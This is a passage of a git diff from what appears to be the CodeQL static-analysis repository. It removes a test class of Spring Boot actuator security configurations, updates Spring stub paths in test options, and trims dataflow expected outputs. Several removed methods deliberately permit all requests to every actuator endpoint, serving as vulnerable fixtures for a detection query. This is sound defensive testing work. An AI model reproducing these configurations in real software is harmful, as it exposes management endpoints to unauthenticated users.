-  protected void configure(HttpSecurity http) throws Exception {
-    http.requestMatcher(EndpointRequest.toAnyEndpoint()).authorizeRequests(requests -> requests.anyRequest().permitAll());
-  }
-
-  protected void configure2(HttpSecurity http) throws Exception {
-    http.requestMatcher(EndpointRequest.toAnyEndpoint()).authorizeRequests().requestMatchers(EndpointRequest.toAnyEndpoint()).permitAll();
-  }
-
-  protected void configure3(HttpSecurity http) throws Exception {
-    http.requestMatchers(matcher -> EndpointRequest.toAnyEndpoint()).authorizeRequests().requestMatchers(EndpointRequest.toAnyEndpoint()).permitAll();
-  }
-
-  protected void configure4(HttpSecurity http) throws Exception {
-    http.requestMatcher(EndpointRequest.toAnyEndpoint()).authorizeRequests().anyRequest().permitAll();
-  }
-
-  protected void configure5(HttpSecurity http) throws Exception {
-    http.authorizeRequests().requestMatchers(EndpointRequest.toAnyEndpoint()).permitAll();
-  }
-
-  protected void configure6(HttpSecurity http) throws Exception {
-    http.authorizeRequests(requests -> requests.requestMatchers(EndpointRequest.toAnyEndpoint()).permitAll());
-  }
-
-  protected void configure7(HttpSecurity http) throws Exception {
-    http.requestMatchers(matcher -> EndpointRequest.toAnyEndpoint()).authorizeRequests().anyRequest().permitAll();
-  }
-
-  protected void configureOk1(HttpSecurity http) throws Exception {
-    http.requestMatcher(EndpointRequest.toAnyEndpoint());
-  }
-
-  protected void configureOk2(HttpSecurity http) throws Exception {
-    http.requestMatchers().requestMatchers(EndpointRequest.toAnyEndpoint());
-  }
-
-  protected void configureOk3(HttpSecurity http) throws Exception {
-    http.authorizeRequests().anyRequest().permitAll();
-  }
-
-  protected void configureOk4(HttpSecurity http) throws Exception {
-    http.authorizeRequests(authz -> authz.anyRequest().permitAll());
-  }
-
-  protected void configureOkSafeEndpoints1(HttpSecurity http) throws Exception {
-    http.requestMatcher(EndpointRequest.to("health", "info")).authorizeRequests(requests -> requests.anyRequest().permitAll());
-  }
-
-  protected void configureOkSafeEndpoints2(HttpSecurity http) throws Exception {
-    http.requestMatcher(EndpointRequest.to("health")).authorizeRequests().requestMatchers(EndpointRequest.to("health")).permitAll();
-  }
-
-  protected void configureOkSafeEndpoints3(HttpSecurity http) throws Exception {
-    http.requestMatchers(matcher -> EndpointRequest.to("health", "info")).authorizeRequests().requestMatchers(EndpointRequest.to("health", "info")).permitAll();
-  }
-
-  protected void configureOkSafeEndpoints4(HttpSecurity http) throws Exception {
-    http.requestMatcher(EndpointRequest.to("health", "info")).authorizeRequests().anyRequest().permitAll();
-  }
-
-  protected void configureOkSafeEndpoints5(HttpSecurity http) throws Exception {
-    http.authorizeRequests().requestMatchers(EndpointRequest.to("health", "info")).permitAll();
-  }
-
-  protected void configureOkSafeEndpoints6(HttpSecurity http) throws Exception {
-    http.authorizeRequests(requests -> requests.requestMatchers(EndpointRequest.to("health", "info")).permitAll());
-  }
-
-  protected void configureOkSafeEndpoints7(HttpSecurity http) throws Exception {
-    http.requestMatchers(matcher -> EndpointRequest.to("health", "info")).authorizeRequests().anyRequest().permitAll();
-  }
-
-  protected void configureOkNoPermitAll1(HttpSecurity http) throws Exception {
-    http.requestMatcher(EndpointRequest.toAnyEndpoint()).authorizeRequests(requests -> requests.anyRequest());
-  }
-
-  protected void configureOkNoPermitAll2(HttpSecurity http) throws Exception {
-    http.requestMatcher(EndpointRequest.toAnyEndpoint()).authorizeRequests().requestMatchers(EndpointRequest.toAnyEndpoint());
-  }
-
-  protected void configureOkNoPermitAll3(HttpSecurity http) throws Exception {
-    http.requestMatchers(matcher -> EndpointRequest.toAnyEndpoint()).authorizeRequests().requestMatchers(EndpointRequest.toAnyEndpoint());
-  }
-
-  protected void configureOkNoPermitAll4(HttpSecurity http) throws Exception {
-    http.requestMatcher(EndpointRequest.toAnyEndpoint()).authorizeRequests().anyRequest();
-  }
-
-  protected void configureOkNoPermitAll5(HttpSecurity http) throws Exception {
-    http.authorizeRequests().requestMatchers(EndpointRequest.toAnyEndpoint());
-  }
-
-  protected void configureOkNoPermitAll6(HttpSecurity http) throws Exception {
-    http.authorizeRequests(requests -> requests.requestMatchers(EndpointRequest.toAnyEndpoint()));
-  }
-
-  protected void configureOkNoPermitAll7(HttpSecurity http) throws Exception {
-    http.requestMatchers(matcher -> EndpointRequest.toAnyEndpoint()).authorizeRequests().anyRequest();
-  }
-}
diff --git a/java/ql/test/experimental/query-tests/security/CWE-016/SpringBootActuators.qlref b/java/ql/test/experimental/query-tests/security/CWE-016/SpringBootActuators.qlref
deleted file mode 100644
index ec49ecd718c2..000000000000
--- a/java/ql/test/experimental/query-tests/security/CWE-016/SpringBootActuators.qlref
+++ /dev/null
@@ -1 +0,0 @@
-experimental/Security/CWE/CWE-016/SpringBootActuators.ql
diff --git a/java/ql/test/experimental/query-tests/security/CWE-016/options b/java/ql/test/experimental/query-tests/security/CWE-016/options
index 06ec85dc706c..2ce7a4743cd3 100644
--- a/java/ql/test/experimental/query-tests/security/CWE-016/options
+++ b/java/ql/test/experimental/query-tests/security/CWE-016/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/springframework-5.3.8
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/springframework-5.8.x
diff --git a/java/ql/test/experimental/query-tests/security/CWE-022/options b/java/ql/test/experimental/query-tests/security/CWE-022/options
index ff1b8857e3d5..0b08c36d4e13 100644
--- a/java/ql/test/experimental/query-tests/security/CWE-022/options
+++ b/java/ql/test/experimental/query-tests/security/CWE-022/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../stubs/lingala-zip4j-2.11.5:${testdir}/../../../stubs/software-amazon-awssdk-crt-0.20.3:${testdir}/../../../../stubs/springframework-5.3.8:${testdir}/../../../stubs/reactivestreams-1.0.4:${testdir}/../../../../stubs/slf4j-2.0.0
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../stubs/lingala-zip4j-2.11.5:${testdir}/../../../stubs/software-amazon-awssdk-crt-0.20.3:${testdir}/../../../../stubs/springframework-5.8.x:${testdir}/../../../stubs/reactivestreams-1.0.4:${testdir}/../../../../stubs/slf4j-2.0.0
diff --git a/java/ql/test/experimental/query-tests/security/CWE-089/src/main/options b/java/ql/test/experimental/query-tests/security/CWE-089/src/main/options
index c72994f8021d..2e128276b78d 100644
--- a/java/ql/test/experimental/query-tests/security/CWE-089/src/main/options
+++ b/java/ql/test/experimental/query-tests/security/CWE-089/src/main/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../../../stubs/springframework-5.3.8/:${testdir}/../../../../../../stubs/org.mybatis-3.5.4/
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../../../stubs/springframework-5.8.x/:${testdir}/../../../../../../stubs/org.mybatis-3.5.4/
diff --git a/java/ql/test/experimental/query-tests/security/CWE-094/options b/java/ql/test/experimental/query-tests/security/CWE-094/options
index d527e41cc4db..110388283dda 100644
--- a/java/ql/test/experimental/query-tests/security/CWE-094/options
+++ b/java/ql/test/experimental/query-tests/security/CWE-094/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/springframework-5.3.8:${testdir}/../../../../stubs/jsr223-api:${testdir}/../../../../stubs/scriptengine:${testdir}/../../../../stubs/java-ee-el:${testdir}/../../../../stubs/juel-2.2:${testdir}/../../../../stubs/servlet-api-2.4:${testdir}/../../../../stubs/jython-2.7.2:${testdir}/../../../../experimental/stubs/rhino-1.7.13:${testdir}/../../../../stubs/bsh-2.0b5:${testdir}/../../../../experimental/stubs/jshell:${testdir}/../../../../experimental/stubs/apache-freemarker-2.3.31:${testdir}/../../../../experimental/stubs/jinjava-2.6.0:${testdir}/../../../../experimental/stubs/pebble-3.1.5:${testdir}/../../../../experimental/stubs/thymeleaf-3.0.14:${testdir}/../../../../experimental/stubs/apache-velocity-2.3
\ No newline at end of file
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/springframework-5.8.x:${testdir}/../../../../stubs/jsr223-api:${testdir}/../../../../stubs/scriptengine:${testdir}/../../../../stubs/java-ee-el:${testdir}/../../../../stubs/juel-2.2:${testdir}/../../../../stubs/servlet-api-2.4:${testdir}/../../../../stubs/jython-2.7.2:${testdir}/../../../../experimental/stubs/rhino-1.7.13:${testdir}/../../../../stubs/bsh-2.0b5:${testdir}/../../../../experimental/stubs/jshell:${testdir}/../../../../experimental/stubs/apache-freemarker-2.3.31:${testdir}/../../../../experimental/stubs/jinjava-2.6.0:${testdir}/../../../../experimental/stubs/pebble-3.1.5:${testdir}/../../../../experimental/stubs/thymeleaf-3.0.14:${testdir}/../../../../experimental/stubs/apache-velocity-2.3
diff --git a/java/ql/test/experimental/query-tests/security/CWE-1004/options b/java/ql/test/experimental/query-tests/security/CWE-1004/options
index 4a9b588c832d..00e92689af58 100644
--- a/java/ql/test/experimental/query-tests/security/CWE-1004/options
+++ b/java/ql/test/experimental/query-tests/security/CWE-1004/options
@@ -1 +1 @@
-// semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/servlet-api-2.4:${testdir}/../../../../stubs/jsr311-api-1.1.1:${testdir}/../../../../stubs/springframework-5.3.8
\ No newline at end of file
+// semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/servlet-api-2.4:${testdir}/../../../../stubs/jsr311-api-1.1.1:${testdir}/../../../../stubs/springframework-5.8.x
diff --git a/java/ql/test/experimental/query-tests/security/CWE-348/options b/java/ql/test/experimental/query-tests/security/CWE-348/options
index 65ba99fff230..0314ccf85f2f 100644
--- a/java/ql/test/experimental/query-tests/security/CWE-348/options
+++ b/java/ql/test/experimental/query-tests/security/CWE-348/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/servlet-api-2.4:${testdir}/../../../../stubs/springframework-5.3.8/:${testdir}/../../../../stubs/apache-commons-lang3-3.7/
\ No newline at end of file
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/servlet-api-2.4:${testdir}/../../../../stubs/springframework-5.8.x/:${testdir}/../../../../stubs/apache-commons-lang3-3.7/
diff --git a/java/ql/test/experimental/query-tests/security/CWE-352/options b/java/ql/test/experimental/query-tests/security/CWE-352/options
index 910e399ef1e9..6b4eb708abe4 100644
--- a/java/ql/test/experimental/query-tests/security/CWE-352/options
+++ b/java/ql/test/experimental/query-tests/security/CWE-352/options
@@ -1 +1 @@
-  //semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/apache-http-4.4.13/:${testdir}/../../../../stubs/servlet-api-2.4:${testdir}/../../../../stubs/fastjson-1.2.74/:${testdir}/../../../../stubs/gson-2.8.6/:${testdir}/../../../../stubs/jackson-databind-2.12/:${testdir}/../../../../stubs/jackson-core-2.12:${testdir}/../../../../stubs/springframework-5.3.8/
+  //semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/apache-http-4.4.13/:${testdir}/../../../../stubs/servlet-api-2.4:${testdir}/../../../../stubs/fastjson-1.2.74/:${testdir}/../../../../stubs/gson-2.8.6/:${testdir}/../../../../stubs/jackson-databind-2.12/:${testdir}/../../../../stubs/jackson-core-2.12:${testdir}/../../../../stubs/springframework-5.8.x/
diff --git a/java/ql/test/experimental/query-tests/security/CWE-470/options b/java/ql/test/experimental/query-tests/security/CWE-470/options
index c0d25dba5c23..4073b65ca96b 100644
--- a/java/ql/test/experimental/query-tests/security/CWE-470/options
+++ b/java/ql/test/experimental/query-tests/security/CWE-470/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/servlet-api-2.4:${testdir}/../../../../stubs/springframework-5.3.8/:${testdir}/../../../../stubs/google-android-9.0.0
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/servlet-api-2.4:${testdir}/../../../../stubs/springframework-5.8.x/:${testdir}/../../../../stubs/google-android-9.0.0
diff --git a/java/ql/test/experimental/query-tests/security/CWE-502/options b/java/ql/test/experimental/query-tests/security/CWE-502/options
index 0c6ef357b21a..2ce7a4743cd3 100644
--- a/java/ql/test/experimental/query-tests/security/CWE-502/options
+++ b/java/ql/test/experimental/query-tests/security/CWE-502/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/springframework-5.3.8
\ No newline at end of file
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/springframework-5.8.x
diff --git a/java/ql/test/experimental/query-tests/security/CWE-601/options b/java/ql/test/experimental/query-tests/security/CWE-601/options
index ba166b547a02..c2a86d9953b5 100644
--- a/java/ql/test/experimental/query-tests/security/CWE-601/options
+++ b/java/ql/test/experimental/query-tests/security/CWE-601/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/servlet-api-2.4:${testdir}/../../../../stubs/springframework-5.3.8/
\ No newline at end of file
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/servlet-api-2.4:${testdir}/../../../../stubs/springframework-5.8.x/
diff --git a/java/ql/test/experimental/query-tests/security/CWE-625/options b/java/ql/test/experimental/query-tests/security/CWE-625/options
index 5f11b982510f..d920e397bbf7 100644
--- a/java/ql/test/experimental/query-tests/security/CWE-625/options
+++ b/java/ql/test/experimental/query-tests/security/CWE-625/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/servlet-api-2.4:${testdir}/../../../../stubs/springframework-5.3.8
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/servlet-api-2.4:${testdir}/../../../../stubs/springframework-5.8.x
diff --git a/java/ql/test/experimental/query-tests/security/CWE-652/options b/java/ql/test/experimental/query-tests/security/CWE-652/options
index 53ad1f48883e..1d1ea76aeb7d 100644
--- a/java/ql/test/experimental/query-tests/security/CWE-652/options
+++ b/java/ql/test/experimental/query-tests/security/CWE-652/options
@@ -1 +1 @@
-//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/apache-http-4.4.13/:${testdir}/../../../../stubs/servlet-api-2.4:${testdir}/../../../../stubs/saxon-xqj-9.x/:${testdir}/../../../../stubs/springframework-5.3.8/
+//semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/apache-http-4.4.13/:${testdir}/../../../../stubs/servlet-api-2.4:${testdir}/../../../../stubs/saxon-xqj-9.x/:${testdir}/../../../../stubs/springframework-5.8.x/
diff --git a/java/ql/test/library-tests/dataflow/capture/test.expected b/java/ql/test/library-tests/dataflow/capture/test.expected
index a98b4990228e..1e8a2d7d3349 100644
--- a/java/ql/test/library-tests/dataflow/capture/test.expected
+++ b/java/ql/test/library-tests/dataflow/capture/test.expected
@@ -1,10 +1,7 @@
-| A.java:14:14:14:16 | "A" : String | A.java:14:7:14:20 | SSA def(a) : new A(...) { ... } [p] |
 | A.java:14:14:14:16 | "A" : String | A.java:14:11:14:20 | f2(...) : new A(...) { ... } [p] |
 | A.java:14:14:14:16 | "A" : String | A.java:15:16:15:16 | a : new A(...) { ... } [p] |
 | A.java:14:14:14:16 | "A" : String | A.java:15:16:15:22 | get(...) : String |
 | A.java:14:14:14:16 | "A" : String | A.java:18:8:18:15 | p : String |
-| A.java:14:14:14:16 | "A" : String | A.java:18:25:40:3 | SSA def(p) : String |
-| A.java:14:14:14:16 | "A" : String | A.java:28:7:38:5 | SSA def(a) : new A(...) { ... } [p] |
 | A.java:14:14:14:16 | "A" : String | A.java:28:11:38:5 | new (...) : new A(...) { ... } [p] |
 | A.java:14:14:14:16 | "A" : String | A.java:28:11:38:5 | p : String |
 | A.java:14:14:14:16 | "A" : String | A.java:30:14:30:16 | parameter this : new A(...) { ... } [p] |
@@ -16,16 +13,12 @@
 | A.java:14:14:14:16 | "A" : String | A.java:35:26:35:27 | this : new A(...) { ... } [p] |
 | A.java:14:14:14:16 | "A" : String | A.java:39:12:39:12 | a : new A(...) { ... } [p] |
 | A.java:14:14:14:16 | "A" : String | A.java:39:12:39:12 | p : String |
-| A.java:21:11:21:13 | "B" : String | A.java:14:7:14:20 | SSA def(a) : new A(...) { ... } [String s] |
 | A.java:21:11:21:13 | "B" : String | A.java:14:11:14:20 | f2(...) : new A(...) { ... } [String s] |
 | A.java:21:11:21:13 | "B" : String | A.java:15:16:15:16 | a : new A(...) { ... } [String s] |
 | A.java:21:11:21:13 | "B" : String | A.java:15:16:15:22 | get(...) : String |
 | A.java:21:11:21:13 | "B" : String | A.java:21:7:21:13 | ...=... : String |
-| A.java:21:11:21:13 | "B" : String | A.java:21:7:21:13 | SSA def(s) : String |
-| A.java:21:11:21:13 | "B" : String | A.java:21:7:21:13 | [input] SSA phi(s) : String |
 | A.java:21:11:21:13 | "B" : String | A.java:25:5:25:26 | SSA phi(s) : String |
 | A.java:21:11:21:13 | "B" : String | A.java:25:5:25:26 | phi(String s) : String |
-| A.java:21:11:21:13 | "B" : String | A.java:28:7:38:5 | SSA def(a) : new A(...) { ... } [String s] |
 | A.java:21:11:21:13 | "B" : String | A.java:28:11:38:5 | String s : String |
 | A.java:21:11:21:13 | "B" : String | A.java:28:11:38:5 | new (...) : new A(...) { ... } [String s] |
 | A.java:21:11:21:13 | "B" : String | A.java:30:14:30:16 | parameter this : new A(...) { ... } [String s] |
@@ -37,16 +30,12 @@
 | A.java:21:11:21:13 | "B" : String | A.java:35:26:35:27 | this : new A(...) { ... } [String s] |
 | A.java:21:11:21:13 | "B" : String | A.java:39:12:39:12 | String s : String |
 | A.java:21:11:21:13 | "B" : String | A.java:39:12:39:12 | a : new A(...) { ... } [String s] |
-| A.java:23:11:23:13 | "C" : String | A.java:14:7:14:20 | SSA def(a) : new A(...) { ... } [String s] |
 | A.java:23:11:23:13 | "C" : String | A.java:14:11:14:20 | f2(...) : new A(...) { ... } [String s] |
 | A.java:23:11:23:13 | "C" : String | A.java:15:16:15:16 | a : new A(...) { ... } [String s] |
 | A.java:23:11:23:13 | "C" : String | A.java:15:16:15:22 | get(...) : String |
 | A.java:23:11:23:13 | "C" : String | A.java:23:7:23:13 | ...=... : String |
-| A.java:23:11:23:13 | "C" : String | A.java:23:7:23:13 | SSA def(s) : String |
-| A.java:23:11:23:13 | "C" : String | A.java:23:7:23:13 | [input] SSA phi(s) : String |
 | A.java:23:11:23:13 | "C" : String | A.java:25:5:25:26 | SSA phi(s) : String |
 | A.java:23:11:23:13 | "C" : String | A.java:25:5:25:26 | phi(String s) : String |
-| A.java:23:11:23:13 | "C" : String | A.java:28:7:38:5 | SSA def(a) : new A(...) { ... } [String s] |
 | A.java:23:11:23:13 | "C" : String | A.java:28:11:38:5 | String s : String |
 | A.java:23:11:23:13 | "C" : String | A.java:28:11:38:5 | new (...) : new A(...) { ... } [String s] |
 | A.java:23:11:23:13 | "C" : String | A.java:30:14:30:16 | parameter this : new A(...) { ... } [String s] |
@@ -60,20 +49,16 @@
 | A.java:23:11:23:13 | "C" : String | A.java:39:12:39:12 | a : new A(...) { ... } [String s] |
 | A.java:25:22:25:24 | "D" : String | A.java:4:5:4:7 | parameter this [Return] : Box [elem] |
 | A.java:25:22:25:24 | "D" : String | A.java:4:9:4:16 | e : String |
-| A.java:25:22:25:24 | "D" : String | A.java:4:19:4:31 | SSA def(e) : String |
 | A.java:25:22:25:24 | "D" : String | A.java:4:21:4:24 | this <.field> [post update] : Box [elem] |
 | A.java:25:22:25:24 | "D" : String | A.java:4:21:4:28 | ...=... : String |
 | A.java:25:22:25:24 | "D" : String | A.java:4:28:4:28 | e : String |
 | A.java:25:22:25:24 | "D" : String | A.java:6:12:6:18 | parameter this : Box [elem] |
 | A.java:25:22:25:24 | "D" : String | A.java:6:31:6:34 | elem : String |
 | A.java:25:22:25:24 | "D" : String | A.java:6:31:6:34 | this <.field> : Box [elem] |
-| A.java:25:22:25:24 | "D" : String | A.java:14:7:14:20 | SSA def(a) : new A(...) { ... } [Box b1, ... (2)] |
 | A.java:25:22:25:24 | "D" : String | A.java:14:11:14:20 | f2(...) : new A(...) { ... } [Box b1, ... (2)] |
 | A.java:25:22:25:24 | "D" : String | A.java:15:16:15:16 | a : new A(...) { ... } [Box b1, ... (2)] |
 | A.java:25:22:25:24 | "D" : String | A.java:15:16:15:22 | get(...) : String |
-| A.java:25:22:25:24 | "D" : String | A.java:25:9:25:25 | SSA def(b1) : Box [elem] |
 | A.java:25:22:25:24 | "D" : String | A.java:25:14:25:25 | new Box(...) : Box [elem] |
-| A.java:25:22:25:24 | "D" : String | A.java:28:7:38:5 | SSA def(a) : new A(...) { ... } [Box b1, ... (2)] |
 | A.java:25:22:25:24 | "D" : String | A.java:28:11:38:5 | Box b1 : Box [elem] |
 | A.java:25:22:25:24 | "D" : String | A.java:28:11:38:5 | new (...) : new A(...) { ... } [Box b1, ... (2)] |
 | A.java:25:22:25:24 | "D" : String | A.java:30:14:30:16 | parameter this : new A(...) { ... } [Box b1, ... (2)] |
@@ -88,19 +73,16 @@
 | A.java:25:22:25:24 | "D" : String | A.java:39:12:39:12 | a : new A(...) { ... } [Box b1, ... (2)] |
 | A.java:27:16:27:18 | "E" : String | A.java:5:10:5:16 | parameter this [Return] : Box [elem] |
 | A.java:27:16:27:18 | "E" : String | A.java:5:18:5:25 | e : String |
-| A.java:27:16:27:18 | "E" : String | A.java:5:28:5:40 | SSA def(e) : String |
 | A.java:27:16:27:18 | "E" : String | A.java:5:30:5:33 | this <.field> [post update] : Box [elem] |
 | A.java:27:16:27:18 | "E" : String | A.java:5:30:5:37 | ...=... : String |
 | A.java:27:16:27:18 | "E" : String | A.java:5:37:5:37 | e : String |
 | A.java:27:16:27:18 | "E" : String | A.java:6:12:6:18 | parameter this : Box [elem] |
 | A.java:27:16:27:18 | "E" : String | A.java:6:31:6:34 | elem : String |
 | A.java:27:16:27:18 | "E" : String | A.java:6:31:6:34 | this <.field> : Box [elem] |
-| A.java:27:16:27:18 | "E" : String | A.java:14:7:14:20 | SSA def(a) : new A(...) { ... } [Box b2, ... (2)] |
 | A.java:27:16:27:18 | "E" : String | A.java:14:11:14:20 | f2(...) : new A(...) { ... } [Box b2, ... (2)] |
 | A.java:27:16:27:18 | "E" : String | A.java:15:16:15:16 | a : new A(...) { ... } [Box b2, ... (2)] |
 | A.java:27:16:27:18 | "E" : String | A.java:15:16:15:22 | get(...) : String |
 | A.java:27:16:27:18 | "E" : String | A.java:27:5:27:6 | b2 [post update] : Box [elem] |
-| A.java:27:16:27:18 | "E" : String | A.java:28:7:38:5 | SSA def(a) : new A(...) { ... } [Box b2, ... (2)] |
 | A.java:27:16:27:18 | "E" : String | A.java:28:11:38:5 | Box b2 : Box [elem] |
 | A.java:27:16:27:18 | "E" : String | A.java:28:11:38:5 | new (...) : new A(...) { ... } [Box b2, ... (2)] |
 | A.java:27:16:27:18 | "E" : String | A.java:30:14:30:16 | parameter this : new A(...) { ... } [Box b2, ... (2)] |
diff --git a/java/ql/test/library-tests/dataflow/null/testnullflow.expected b/java/ql/test/library-tests/dataflow/null/testnullflow.expected
index d73b00f0fef1..532d64e81f8d 100644
--- a/java/ql/test/library-tests/dataflow/null/testnullflow.expected
+++ b/java/ql/test/library-tests/dataflow/null/testnullflow.expected
@@ -1,6 +1,4 @@
 | A.java:5:18:5:21 | null | A.java:2:13:2:20 | o |
-| A.java:5:18:5:21 | null | A.java:5:12:5:21 | SSA def(src) |
 | A.java:5:18:5:21 | null | A.java:5:18:5:21 | null |
-| A.java:5:18:5:21 | null | A.java:6:12:6:18 | SSA def(x) |
 | A.java:5:18:5:21 | null | A.java:6:16:6:18 | src |
 | A.java:5:18:5:21 | null | A.java:7:10:7:10 | x |
diff --git a/java/ql/test/library-tests/dataflow/partial/test.expected b/java/ql/test/library-tests/dataflow/partial/test.expected
index 700c1b31dcfb..ea7da3a96902 100644
--- a/java/ql/test/library-tests/dataflow/partial/test.expected
+++ b/java/ql/test/library-tests/dataflow/partial/test.expected
@@ -3,14 +3,12 @@ edges
 | A.java:12:14:12:18 | src(...) : Object | A.java:12:5:12:5 | b [post update] : Box [elem] |
 | A.java:12:14:12:18 | src(...) : Object | A.java:12:5:12:18 | ...=... : Object |
 | A.java:13:12:13:12 | b : Box [elem] | A.java:17:13:17:16 | f1(...) : Box [elem] |
-| A.java:17:9:17:16 | SSA def(b) : Box [elem] | A.java:18:8:18:8 | b : Box [elem] |
-| A.java:17:13:17:16 | f1(...) : Box [elem] | A.java:17:9:17:16 | SSA def(b) : Box [elem] |
+| A.java:17:13:17:16 | f1(...) : Box [elem] | A.java:18:8:18:8 | b : Box [elem] |
 | A.java:18:8:18:8 | b : Box [elem] | A.java:21:11:21:15 | b : Box [elem] |
 #select
 | 0 | A.java:12:5:12:5 | b [post update] : Box [elem] |
 | 0 | A.java:12:5:12:18 | ...=... : Object |
 | 0 | A.java:13:12:13:12 | b : Box [elem] |
-| 1 | A.java:17:9:17:16 | SSA def(b) : Box [elem] |
 | 1 | A.java:17:13:17:16 | f1(...) : Box [elem] |
 | 1 | A.java:18:8:18:8 | b : Box [elem] |
 | 2 | A.java:21:11:21:15 | b : Box [elem] |
diff --git a/java/ql/test/library-tests/dataflow/partial/testRev.expected b/java/ql/test/library-tests/dataflow/partial/testRev.expected
index d798f4434805..15ce5d56acef 100644
--- a/java/ql/test/library-tests/dataflow/partial/testRev.expected
+++ b/java/ql/test/library-tests/dataflow/partial/testRev.expected
@@ -2,8 +2,7 @@ edges
 | A.java:4:16:4:18 | parameter this [Return] [elem] | A.java:22:17:22:25 | new Box(...) [elem] |
 | A.java:4:16:4:18 | this <constr(this)> [post update] [elem] | A.java:4:16:4:18 | parameter this [Return] [elem] |
 | A.java:5:19:5:22 | elem | A.java:24:10:24:19 | other.elem |
-| A.java:22:9:22:25 | SSA def(other) [elem] | A.java:23:13:23:17 | other [elem] |
-| A.java:22:17:22:25 | new Box(...) [elem] | A.java:22:9:22:25 | SSA def(other) [elem] |
+| A.java:22:17:22:25 | new Box(...) [elem] | A.java:23:13:23:17 | other [elem] |
 | A.java:23:13:23:17 | other [elem] | A.java:24:10:24:14 | other [elem] |
 | A.java:23:13:23:17 | other [post update] [elem] | A.java:24:10:24:14 | other [elem] |
 | A.java:24:10:24:14 | other [elem] | A.java:24:10:24:19 | other.elem |
@@ -11,7 +10,6 @@ edges
 | A.java:28:5:28:5 | b [post update] [elem] | A.java:27:16:27:20 | b [Return] [elem] |
 | A.java:28:14:28:25 | new Object(...) | A.java:28:5:28:5 | b [post update] [elem] |
 #select
-| 0 | A.java:22:9:22:25 | SSA def(other) [elem] |
 | 0 | A.java:22:17:22:25 | new Box(...) [elem] |
 | 0 | A.java:23:13:23:17 | other [elem] |
 | 0 | A.java:23:13:23:17 | other [post update] [elem] |
diff --git a/java/ql/test/library-tests/dataflow/switchexpr/switchexprflow.expected b/java/ql/test/library-tests/dataflow/switchexpr/switchexprflow.expected
index 551c836889da..d444bae3cc77 100644
--- a/java/ql/test/library-tests/dataflow/switchexpr/switchexprflow.expected
+++ b/java/ql/test/library-tests/dataflow/switchexpr/switchexprflow.expected
@@ -1,13 +1,9 @@
 | TestSwitchExpr.java:4:15:4:22 | o |
-| TestSwitchExpr.java:7:16:7:28 | SSA def(x1) |
 | TestSwitchExpr.java:7:21:7:28 | source(...) |
-| TestSwitchExpr.java:8:16:8:30 | SSA def(x2) |
 | TestSwitchExpr.java:8:21:8:30 | switch (...) |
 | TestSwitchExpr.java:10:24:10:25 | x1 |
-| TestSwitchExpr.java:12:16:12:30 | SSA def(x3) |
 | TestSwitchExpr.java:12:21:12:30 | switch (...) |
 | TestSwitchExpr.java:13:38:13:39 | x2 |
-| TestSwitchExpr.java:16:16:16:30 | SSA def(x4) |
 | TestSwitchExpr.java:16:21:16:30 | switch (...) |
 | TestSwitchExpr.java:19:23:19:24 | x3 |
 | TestSwitchExpr.java:23:14:23:15 | x4 |
diff --git a/java/ql/test/library-tests/dataflow/taint-ioutils/dataFlow.expected b/java/ql/test/library-tests/dataflow/taint-ioutils/dataFlow.expected
index ffd641a45d70..1902605e618b 100644
--- a/java/ql/test/library-tests/dataflow/taint-ioutils/dataFlow.expected
+++ b/java/ql/test/library-tests/dataflow/taint-ioutils/dataFlow.expected
@@ -1,24 +1,19 @@
-| Test.java:12:15:12:47 | SSA def(inp) |
 | Test.java:12:21:12:47 | new FileInputStream(...) |
 | Test.java:14:21:14:39 | buffer(...) |
 | Test.java:14:36:14:38 | inp |
-| Test.java:15:16:15:54 | SSA def(lines) |
 | Test.java:15:24:15:54 | readLines(...) |
 | Test.java:15:42:15:44 | inp |
 | Test.java:16:18:16:45 | readFully(...) |
 | Test.java:16:36:16:38 | inp |
 | Test.java:17:22:17:55 | toBufferedInputStream(...) |
 | Test.java:17:52:17:54 | inp |
-| Test.java:18:10:18:71 | SSA def(bufread) |
 | Test.java:18:20:18:71 | toBufferedReader(...) |
 | Test.java:18:45:18:70 | new InputStreamReader(...) |
 | Test.java:18:67:18:69 | inp |
 | Test.java:19:19:19:48 | toByteArray(...) |
 | Test.java:19:39:19:41 | inp |
-| Test.java:20:10:20:50 | SSA def(chars) |
 | Test.java:20:18:20:50 | toCharArray(...) |
 | Test.java:20:38:20:40 | inp |
-| Test.java:21:10:21:43 | SSA def(s) |
 | Test.java:21:14:21:43 | toString(...) |
 | Test.java:21:31:21:33 | inp |
 | Test.java:22:20:22:52 | toInputStream(...) |
diff --git a/java/ql/test/library-tests/dataflow/taintsources/options b/java/ql/test/library-tests/dataflow/taintsources/options
index c8249b05e38e..ec6d96b41ac0 100644
--- a/java/ql/test/library-tests/dataflow/taintsources/options
+++ b/java/ql/test/library-tests/dataflow/taintsources/options
@@ -1 +1 @@
